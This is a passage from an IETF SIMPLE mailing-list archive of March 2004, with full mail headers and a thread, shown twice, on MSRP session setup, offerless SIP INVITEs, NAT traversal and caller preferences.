> > >>>>
> > >>>
> > >>>
> > >>> _______________________________________________
> > >>> Simple mailing list
> > >>> Simple@ietf.org
> > >>> https://www1.ietf.org/mailman/listinfo/simple
> > >>>
> > >>
> >=20
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 13:26:46 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA16164
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 13:26:46 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayb4v-0005wi-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 13:26:45 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ayb3z-0005nV-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 13:25:48 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayb3L-0005eg-00; Wed, 03 Mar 2004 13:25:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayb3G-0004lL-Cy; Wed, 03 Mar 2004 13:25:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayb2w-0004kM-63
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 13:24:42 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA16100
	for <simple@ietf.org>; Wed, 3 Mar 2004 13:24:40 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayb2u-0005cN-00
	for simple@ietf.org; Wed, 03 Mar 2004 13:24:40 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ayb20-0005Td-00
	for simple@ietf.org; Wed, 03 Mar 2004 13:23:45 -0500
Received: from sj-iport-5.cisco.com ([171.68.10.87])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayb1Q-0005Ix-00
	for simple@ietf.org; Wed, 03 Mar 2004 13:23:08 -0500
Received: from sj-core-4.cisco.com (171.68.223.138)
  by sj-iport-5.cisco.com with ESMTP; 03 Mar 2004 10:22:44 -0800
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-4.cisco.com (8.12.10/8.12.6) with ESMTP id i23IMZD1025829;
	Wed, 3 Mar 2004 10:22:35 -0800 (PST)
Received: from cisco.com (tokyo-vpn-user50.cisco.com [10.70.82.50])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGM45601;
	Wed, 3 Mar 2004 13:22:31 -0500 (EST)
Message-ID: <40462266.7070005@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Adam Roach <adam@dynamicsoft.com>
CC: "'Rohan Mahy'" <rohan@cisco.com>, Ben Campbell <bcampbell@dynamicsoft.com>,
        "'Cullen Jennings'" <fluffy@cisco.com>,
        Robert Sparks <rsparks@dynamicsoft.com>, simple@ietf.org
Subject: Re: [Simple] RE: MSRP & Comedia
References: <9ACE0CEE075B494096C86C23878BF85906A363@dyn-tx-exch-001.dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 13:22:30 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Adam,

Are you just suggesting that an offerless invite not be used in a 
particular situation? Or are you suggesting that offerless invites not 
be used at all?

The fact is that offerless invites are useful in quite a number of 
circumstances. Then, as soon as you have devices that have some 
capability for a variety of media you start to have this problem. There 
are reasons why a device might not want to spontaneously offer media 
that it would be willing to accept if requested. For instance, offering 
of audio might require reconfiguring the device - preempting use of 
audio resources from some other use (like playing music). This might be 
appropriate for an incoming call that requires voice, but not for one 
that uses only IM. If it is unknown what the caller may need (the 
offerless invite) the device might choose to only offer what is convenient.

I think the only good solution to this is a more extended negotiation, 
and that is what preconditions would offer.

A way for an offerless invite to indicate what media it would prefer 
would be another solution.

	Paul

Adam Roach wrote:
> I really don't like the prospect of requiring caller
> prefs to avoid these kind of bizarre and unfortunate
> user experiences.
> 
> My main point is that using empty INVITEs seems to
> cause more problems than it solves. Are these problems
> completely intractable? Probably not. Are they
> unpleasant? Well, I certainly think so.
> 
> So, given the chance, I'd far prefer to see solutions
> that don't require callee offers explored before we
> resort to a tool that brings unpleasant consequences
> (or, at the very least, specific additional mechanisms
> added throughout the system).
> 
> /a
> 
> 
>>-----Original Message-----
>>From: Rohan Mahy [mailto:rohan@cisco.com]
>>Sent: Wednesday, March 03, 2004 2:17
>>To: Adam Roach
>>Cc: 'Paul Kyzivat'; Ben Campbell; Rohan Mahy; 'Cullen 
>>Jennings'; Robert
>>Sparks; simple@ietf.org
>>Subject: Re: [Simple] RE: MSRP & Comedia
>>
>>
>>Adam,
>>
>>You could use caller prefs even with your rusty/dusty/trusty "legacy" 
>>SIP phone  ;-).
>>
>>You would need something to add media feature parameters to the 
>>registration of the 7960 on its behalf.  This is not that big a deal.
>>
>>thanks,
>>-rohan
>>
>>
>>On Mar 3, 2004, at 4:49 PM, Adam Roach wrote:
>>
>>
>>>That's all great. Now tell me how it works using
>>>the Cisco 7960 sitting on my desk right now. Assume
>>>that upgrading the software is not an option.
>>>
>>>/a
>>>
>>>
>>>>-----Original Message-----
>>>>From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
>>>>Sent: Tuesday, March 02, 2004 20:09
>>>>To: Adam Roach
>>>>Cc: 'Cullen Jennings'; Ben Campbell; Robert Sparks; Rohan Mahy;
>>>>simple@ietf.org
>>>>Subject: Re: [Simple] RE: MSRP & Comedia
>>>>
>>>>
>>>>There are a couple of solutions to the bad user experience
>>>>you outline:
>>>>
>>>>- the UAC can use callerprefs to indicate what media it desires.
>>>>   For this to work the UAS would have to evaluate the callerprefs,
>>>>   which isn't currently required or expected.
>>>>
>>>>- preconditions could be used to ensure that there is a 
>>>
>>satisfactory
>>
>>>>   agreement on media before alerting. In this particular
>>>>case it would
>>>>   be the UAS that inserts the preconditions as a way of 
>>>
>>improving the
>>
>>>>   user experience at its end. Most any precondition would 
>>>
>>do, though
>>
>>>>   the newly proposed connectivity precondition would be quite
>>>>   appropriate. A hypothetical new precondition relating to
>>>>negotiation
>>>>   of some acceptable (set of) media stream(s) might also be
>>>>interesting.
>>>>
>>>>Paul
>>>>
>>>>Adam Roach wrote:
>>>>
>>>>>Okay, so, the user experience you're promoting
>>>>>here would lead to a situation in which you open
>>>>>up your IM client, type in a message for me,
>>>>>and my desktop hard phone starts ringing. Several
>>>>>seconds later, I pick up the receiver, my hardphone
>>>>>sends a "200 OK" response, and... well, nothing
>>>>>good can come of any result at this point.
>>>>>
>>>>>If your client supports audio, my voice is suddenly
>>>>>coming out of your PC speakers. If not, the call
>>>>>is torn down, your client renders an error to you,
>>>>>sends me a bye, and I'm sitting there holding a dead
>>>>>handset.
>>>>>
>>>>>This is the problem that I've pointed out occasionally
>>>>>for several years: this "send an INVITE with no body"
>>>>>approach for setting up sessions causes all kinds
>>>>>of problems. It was originally added for interwork
>>>>>with the prehistoric H.323v1 procedures, and not killed
>>>>>because we observed that it can be used in this clever
>>>>>3pcc hack -- but it invariably leads to a message that
>>>>>semantically means the same thing as the dialog
>>>>>box that I sent earlier.
>>>>>
>>>>>/a
>>>>>
>>>>>
>>>>>
>>>>>>-----Original Message-----
>>>>>>From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>>>>Sent: Monday, March 01, 2004 8:38
>>>>>>To: Adam Roach; Ben Campbell; Robert Sparks; Rohan Mahy
>>>>>>Cc: simple@ietf.org
>>>>>>Subject: Re: [Simple] RE: MSRP & Comedia
>>>>>>
>>>>>>
>>>>>>
>>>>>>It just sends an offer with all three and then the other ends
>>>>>>selects. This
>>>>>>is how SIP is today - you can send an invite with no offer
>>>>>>then get the
>>>>>>offer in the response and put the answer in the ack.
>>>>>>
>>>>>>On 3/1/04 10:41 AM, "Adam Roach" <adam@dynamicsoft.com> wrote:
>>>>>>
>>>>>>
>>>>>>
>>>>>>>From a protocol perspective, this sounds reasonable.
>>>>>>>
>>>>>>>I think the key problem is that the first example shifts the
>>>>>>>decision of what type of communication is requested
>>>>>>>from the caller to the callee. Without getting into a discussion
>>>>>>>of whether that is the "right" thing to do, it certainly is
>>>>>>>going to differ from user expectations.
>>>>>>>
>>>>>>>+----------------------------------------------+
>>>>>>>| Cullen Jennings <sip:fluffy@cisco.com> wants |
>>>>>>>| to start a conversation, but I have no idea  |
>>>>>>>| what kind. Take your best guess:             |
>>>>>>>|                                              |
>>>>>>>|    +-------+  +-----------------+  +----+    |
>>>>>>>|    | Voice |  | Voice and video |  | IM |    |
>>>>>>>|    +-------+  +-----------------+  +----+    |
>>>>>>>+----------------------------------------------+
>>>>>>>
>>>>>>>/a
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>>>-----Original Message-----
>>>>>>>>From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>>>>>>Sent: Friday, February 27, 2004 0:50
>>>>>>>>To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
>>>>>>>>Cc: simple@ietf.org
>>>>>>>>Subject: MSRP & Comedia
>>>>>>>>
>>>>>>>>
>>>>>>>>
>>>>>>>>This is a half baked idea that I am just tossing out as food
>>>>>>>>for thought
>>>>>>>>
>>>>>>>>Consider a systems where something like the UA that sends the
>>>>>>>>answer sends
>>>>>>>>the VISIT.
>>>>>>>>
>>>>>>>>Consider the cases where A want to set up a MSRP 
>>>>>>>
>>session with B.
>>
>>>>>>>>A is behind a NAT and does not want to use a relay. A sends
>>>>>>>>an INVITE with
>>>>>>>>no offer. B sends an offer, gets back an answer and A
>>>>>>>
>>>>>>sends the VISIT.
>>>>>>
>>>>>>
>>>>>>>>A -> inv    -> B
>>>>>>>>A <- offer  <- B
>>>>>>>>A -> answer -> B
>>>>>>>>A -> visit  -> B
>>>>>>>>
>>>>>>>>B is behind a NAT. A sends an offer and B sends an answer and
>>>>>>>>A sends VISIT.
>>>>>>>>A -> offer  -> B
>>>>>>>>A <- answer <- B
>>>>>>>>A <- visit  <- B
>>>>>>>>
>>>>>>>>A and B are behind NATS. A sends INVITE no offer, B knows
>>>>>>>>relay is needed
>>>>>>>>and gets one and sends offer.
>>>>>>>>
>>>>>>>>The underlying principal is basically if you don't know what
>>>>>>>>port you are
>>>>>>>>going to receive media at (which is the case with a NAT) you
>>>>>>>>should not be
>>>>>>>>making any offers and if you make an offer the assumption is
>>>>>>>>that the other
>>>>>>>>side and send media (a VISIT) to that and have it work.
>>>>>>>>
>>>>>>>>The fundamental thing I am trying to avoid is two vendors
>>>>>>>>both saying they
>>>>>>>>have MSRP compliant systems yet still having them fail to be
>>>>>>>>able to talk to
>>>>>>>>each other because they both expect the other one to host.
>>>>>>>>
>>>>>>>
>>>>>>>_______________________________________________
>>>>>>>Simple mailing list
>>>>>>>Simple@ietf.org
>>>>>>>https://www1.ietf.org/mailman/listinfo/simple
>>>>>>>
>>>>>>
>>>>>>
>>>>>>_______________________________________________
>>>>>>Simple mailing list
>>>>>>Simple@ietf.org
>>>>>>https://www1.ietf.org/mailman/listinfo/simple
>>>>>>
>>>>>
>>>>>
>>>>>_______________________________________________
>>>>>Simple mailing list
>>>>>Simple@ietf.org
>>>>>https://www1.ietf.org/mailman/listinfo/simple
>>>>>
>>>>
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 13:27:18 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA16205
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 13:27:18 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayb4z-0004tL-E0
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 13:26:49 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i23IQn96018802
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 13:26:49 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayb4y-0004t9-O2
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 13:26:48 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA16181
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 13:26:46 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayb4w-0005wn-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 13:26:46 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ayb40-0005nd-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 13:25:50 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayb3L-0005eg-00; Wed, 03 Mar 2004 13:25:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayb3G-0004lL-Cy; Wed, 03 Mar 2004 13:25:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ayb2w-0004kM-63
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 13:24:42 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA16100
	for <simple@ietf.org>; Wed, 3 Mar 2004 13:24:40 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayb2u-0005cN-00
	for simple@ietf.org; Wed, 03 Mar 2004 13:24:40 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ayb20-0005Td-00
	for simple@ietf.org; Wed, 03 Mar 2004 13:23:45 -0500
Received: from sj-iport-5.cisco.com ([171.68.10.87])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ayb1Q-0005Ix-00
	for simple@ietf.org; Wed, 03 Mar 2004 13:23:08 -0500
Received: from sj-core-4.cisco.com (171.68.223.138)
  by sj-iport-5.cisco.com with ESMTP; 03 Mar 2004 10:22:44 -0800
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-4.cisco.com (8.12.10/8.12.6) with ESMTP id i23IMZD1025829;
	Wed, 3 Mar 2004 10:22:35 -0800 (PST)
Received: from cisco.com (tokyo-vpn-user50.cisco.com [10.70.82.50])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGM45601;
	Wed, 3 Mar 2004 13:22:31 -0500 (EST)
Message-ID: <40462266.7070005@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Adam Roach <adam@dynamicsoft.com>
CC: "'Rohan Mahy'" <rohan@cisco.com>, Ben Campbell <bcampbell@dynamicsoft.com>,
        "'Cullen Jennings'" <fluffy@cisco.com>,
        Robert Sparks <rsparks@dynamicsoft.com>, simple@ietf.org
Subject: Re: [Simple] RE: MSRP & Comedia
References: <9ACE0CEE075B494096C86C23878BF85906A363@dyn-tx-exch-001.dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 13:22:30 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Adam,

Are you just suggesting that an offerless invite not be used in a 
particular situation? Or are you suggesting that offerless invites not 
be used at all?

The fact is that offerless invites are useful in quite a number of 
circumstances. Then, as soon as you have devices that have some 
capability for a variety of media you start to have this problem. There 
are reasons why a device might not want to spontaneously offer media 
that it would be willing to accept if requested. For instance, offering 
of audio might require reconfiguring the device - preempting use of 
audio resources from some other use (like playing music). This might be 
appropriate for an incoming call that requires voice, but not for one 
that uses only IM. If it is unknown what the caller may need (the 
offerless invite) the device might choose to only offer what is convenient.

I think the only good solution to this is a more extended negotiation, 
and that is what preconditions would offer.

A way for an offerless invite to indicate what media it would prefer 
would be another solution.

	Paul

Adam Roach wrote:
> I really don't like the prospect of requiring caller
> prefs to avoid these kind of bizarre and unfortunate
> user experiences.
> 
> My main point is that using empty INVITEs seems to
> cause more problems than it solves. Are these problems
> completely intractable? Probably not. Are they
> unpleasant? Well, I certainly think so.
> 
> So, given the chance, I'd far prefer to see solutions
> that don't require callee offers explored before we
> resort to a tool that brings unpleasant consequences
> (or, at the very least, specific additional mechanisms
> added throughout the system).
> 
> /a
> 
> 
>>-----Original Message-----
>>From: Rohan Mahy [mailto:rohan@cisco.com]
>>Sent: Wednesday, March 03, 2004 2:17
>>To: Adam Roach
>>Cc: 'Paul Kyzivat'; Ben Campbell; Rohan Mahy; 'Cullen 
>>Jennings'; Robert
>>Sparks; simple@ietf.org
>>Subject: Re: [Simple] RE: MSRP & Comedia
>>
>>
>>Adam,
>>
>>You could use caller prefs even with your rusty/dusty/trusty "legacy" 
>>SIP phone  ;-).
>>
>>You would need something to add media feature parameters to the 
>>registration of the 7960 on its behalf.  This is not that big a deal.
>>
>>thanks,
>>-rohan
>>
>>
>>On Mar 3, 2004, at 4:49 PM, Adam Roach wrote:
>>
>>
>>>That's all great. Now tell me how it works using
>>>the Cisco 7960 sitting on my desk right now. Assume
>>>that upgrading the software is not an option.
>>>
>>>/a
>>>
>>>
>>>>-----Original Message-----
>>>>From: Paul Kyzivat [mailto:pkyzivat@cisco.com]
>>>>Sent: Tuesday, March 02, 2004 20:09
>>>>To: Adam Roach
>>>>Cc: 'Cullen Jennings'; Ben Campbell; Robert Sparks; Rohan Mahy;
>>>>simple@ietf.org
>>>>Subject: Re: [Simple] RE: MSRP & Comedia
>>>>
>>>>
>>>>There are a couple of solutions to the bad user experience
>>>>you outline:
>>>>
>>>>- the UAC can use callerprefs to indicate what media it desires.
>>>>   For this to work the UAS would have to evaluate the callerprefs,
>>>>   which isn't currently required or expected.
>>>>
>>>>- preconditions could be used to ensure that there is a 
>>>
>>satisfactory
>>
>>>>   agreement on media before alerting. In this particular
>>>>case it would
>>>>   be the UAS that inserts the preconditions as a way of 
>>>
>>improving the
>>
>>>>   user experience at its end. Most any precondition would 
>>>
>>do, though
>>
>>>>   the newly proposed connectivity precondition would be quite
>>>>   appropriate. A hypothetical new precondition relating to
>>>>negotiation
>>>>   of some acceptable (set of) media stream(s) might also be
>>>>interesting.
>>>>
>>>>Paul
>>>>
>>>>Adam Roach wrote:
>>>>
>>>>>Okay, so, the user experience you're promoting
>>>>>here would lead to a situation in which you open
>>>>>up your IM client, type in a message for me,
>>>>>and my desktop hard phone starts ringing. Several
>>>>>seconds later, I pick up the receiver, my hardphone
>>>>>sends a "200 OK" response, and... well, nothing
>>>>>good can come of any result at this point.
>>>>>
>>>>>If your client supports audio, my voice is suddenly
>>>>>coming out of your PC speakers. If not, the call
>>>>>is torn down, your client renders an error to you,
>>>>>sends me a bye, and I'm sitting there holding a dead
>>>>>handset.
>>>>>
>>>>>This is the problem that I've pointed out occasionally
>>>>>for several years: this "send an INVITE with no body"
>>>>>approach for setting up sessions causes all kinds
>>>>>of problems. It was originally added for interwork
>>>>>with the prehistoric H.323v1 procedures, and not killed
>>>>>because we observed that it can be used in this clever
>>>>>3pcc hack -- but it invariably leads to a message that
>>>>>semantically means the same thing as the dialog
>>>>>box that I sent earlier.
>>>>>
>>>>>/a
>>>>>
>>>>>
>>>>>
>>>>>>-----Original Message-----
>>>>>>From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>>>>Sent: Monday, March 01, 2004 8:38
>>>>>>To: Adam Roach; Ben Campbell; Robert Sparks; Rohan Mahy
>>>>>>Cc: simple@ietf.org
>>>>>>Subject: Re: [Simple] RE: MSRP & Comedia
>>>>>>
>>>>>>
>>>>>>
>>>>>>It just sends an offer with all three and then the other ends
>>>>>>selects. This
>>>>>>is how SIP is today - you can send an invite with no offer
>>>>>>then get the
>>>>>>offer in the response and put the answer in the ack.
>>>>>>
>>>>>>On 3/1/04 10:41 AM, "Adam Roach" <adam@dynamicsoft.com> wrote:
>>>>>>
>>>>>>
>>>>>>
>>>>>>>From a protocol perspective, this sounds reasonable.
>>>>>>>
>>>>>>>I think the key problem is that the first example shifts the
>>>>>>>decision of what type of communication is requested
>>>>>>>from the caller to the callee. Without getting into a discussion
>>>>>>>of whether that is the "right" thing to do, it certainly is
>>>>>>>going to differ from user expectations.
>>>>>>>
>>>>>>>+----------------------------------------------+
>>>>>>>| Cullen Jennings <sip:fluffy@cisco.com> wants |
>>>>>>>| to start a conversation, but I have no idea  |
>>>>>>>| what kind. Take your best guess:             |
>>>>>>>|                                              |
>>>>>>>|    +-------+  +-----------------+  +----+    |
>>>>>>>|    | Voice |  | Voice and video |  | IM |    |
>>>>>>>|    +-------+  +-----------------+  +----+    |
>>>>>>>+----------------------------------------------+
>>>>>>>
>>>>>>>/a
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>>>-----Original Message-----
>>>>>>>>From: Cullen Jennings [mailto:fluffy@cisco.com]
>>>>>>>>Sent: Friday, February 27, 2004 0:50
>>>>>>>>To: Ben Campbell; Robert Sparks; Rohan Mahy; Adam Roach
>>>>>>>>Cc: simple@ietf.org
>>>>>>>>Subject: MSRP & Comedia
>>>>>>>>
>>>>>>>>
>>>>>>>>
>>>>>>>>This is a half baked idea that I am just tossing out as food
>>>>>>>>for thought
>>>>>>>>
>>>>>>>>Consider a systems where something like the UA that sends the
>>>>>>>>answer sends
>>>>>>>>the VISIT.
>>>>>>>>
>>>>>>>>Consider the cases where A want to set up a MSRP 
>>>>>>>
>>session with B.
>>
>>>>>>>>A is behind a NAT and does not want to use a relay. A sends
>>>>>>>>an INVITE with
>>>>>>>>no offer. B sends an offer, gets back an answer and A
>>>>>>>
>>>>>>sends the VISIT.
>>>>>>
>>>>>>
>>>>>>>>A -> inv    -> B
>>>>>>>>A <- offer  <- B
>>>>>>>>A -> answer -> B
>>>>>>>>A -> visit  -> B
>>>>>>>>
>>>>>>>>B is behind a NAT. A sends an offer and B sends an answer and
>>>>>>>>A sends VISIT.
>>>>>>>>A -> offer  -> B
>>>>>>>>A <- answer <- B
>>>>>>>>A <- visit  <- B
>>>>>>>>
>>>>>>>>A and B are behind NATS. A sends INVITE no offer, B knows
>>>>>>>>relay is needed
>>>>>>>>and gets one and sends offer.
>>>>>>>>
>>>>>>>>The underlying principal is basically if you don't know what
>>>>>>>>port you are
>>>>>>>>going to receive media at (which is the case with a NAT) you
>>>>>>>>should not be
>>>>>>>>making any offers and if you make an offer the assumption is
>>>>>>>>that the other
>>>>>>>>side and send media (a VISIT) to that and have it work.
>>>>>>>>
>>>>>>>>The fundamental thing I am trying to avoid is two vendors
>>>>>>>>both saying they
>>>>>>>>have MSRP compliant systems yet still having them fail to be
>>>>>>>>able to talk to
>>>>>>>>each other because they both expect the other one to host.
>>>>>>>>
>>>>>>>
>>>>>>>_______________________________________________
>>>>>>>Simple mailing list
>>>>>>>Simple@ietf.org
>>>>>>>https://www1.ietf.org/mailman/listinfo/simple
>>>>>>>
>>>>>>
>>>>>>
>>>>>>_______________________________________________
>>>>>>Simple mailing list
>>>>>>Simple@ietf.org
>>>>>>https://www1.ietf.org/mailman/listinfo/simple
>>>>>>
>>>>>
>>>>>
>>>>>_______________________________________________
>>>>>Simple mailing list
>>>>>Simple@ietf.org
>>>>>https://www1.ietf.org/mailman/listinfo/simple
>>>>>
>>>>
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 16:53:51 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA28733
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 16:53:51 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyeJL-0005no-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 16:53:51 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyeIU-0005eR-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 16:52:59 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyeHe-0005Ub-00; Wed, 03 Mar 2004 16:52:06 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyeHa-0006KY-LR; Wed, 03 Mar 2004 16:52:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyeGv-0006Ik-6J
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 16:51:21 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA28624
	for <simple@ietf.org>; Wed, 3 Mar 2004 16:51:18 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyeGt-0005JN-00
	for simple@ietf.org; Wed, 03 Mar 2004 16:51:19 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyeFx-00056V-00
	for simple@ietf.org; Wed, 03 Mar 2004 16:50:22 -0500
Received: from imr2.ericy.com ([198.24.6.3])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyeEz-0004pq-00
	for simple@ietf.org; Wed, 03 Mar 2004 16:49:21 -0500
Received: from eamrcnt717.exu.ericsson.se (eamrcnt717.exu.ericsson.se [138.85.90.249])
	by imr2.ericy.com (8.12.10/8.12.10) with ESMTP id i23LmqfX029409
	for <simple@ietf.org>; Wed, 3 Mar 2004 15:48:52 -0600 (CST)
Received: from eamrcnt750.exu.ericsson.se ([138.85.133.51]) by eamrcnt717.exu.ericsson.se with Microsoft SMTPSVC(6.0.3790.0);
	 Wed, 3 Mar 2004 15:44:07 -0600
Received: by eamrcnt750.exu.ericsson.se with Internet Mail Service (5.5.2657.72)
	id <FGYM4C7B>; Wed, 3 Mar 2004 15:48:33 -0600
Message-ID: <2DBF697D5B36014ABA46E66A96107DA02C95D0@lmc37.lmc.ericsson.se>
From: "George Foti (QA/EMC)" <george.foti@ericsson.com>
To: "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>, simple@ietf.org
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain;
	charset="iso-8859-1"
X-OriginalArrivalTime: 03 Mar 2004 21:44:07.0484 (UTC) FILETIME=[A7B107C0:01C40168]
Subject: [Simple] RE: Comments on PIDF-Manipulation Usage-00draft  (was RE: Comment
 s on draft-isomaki-simple-xcap-publish-usage-00)
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
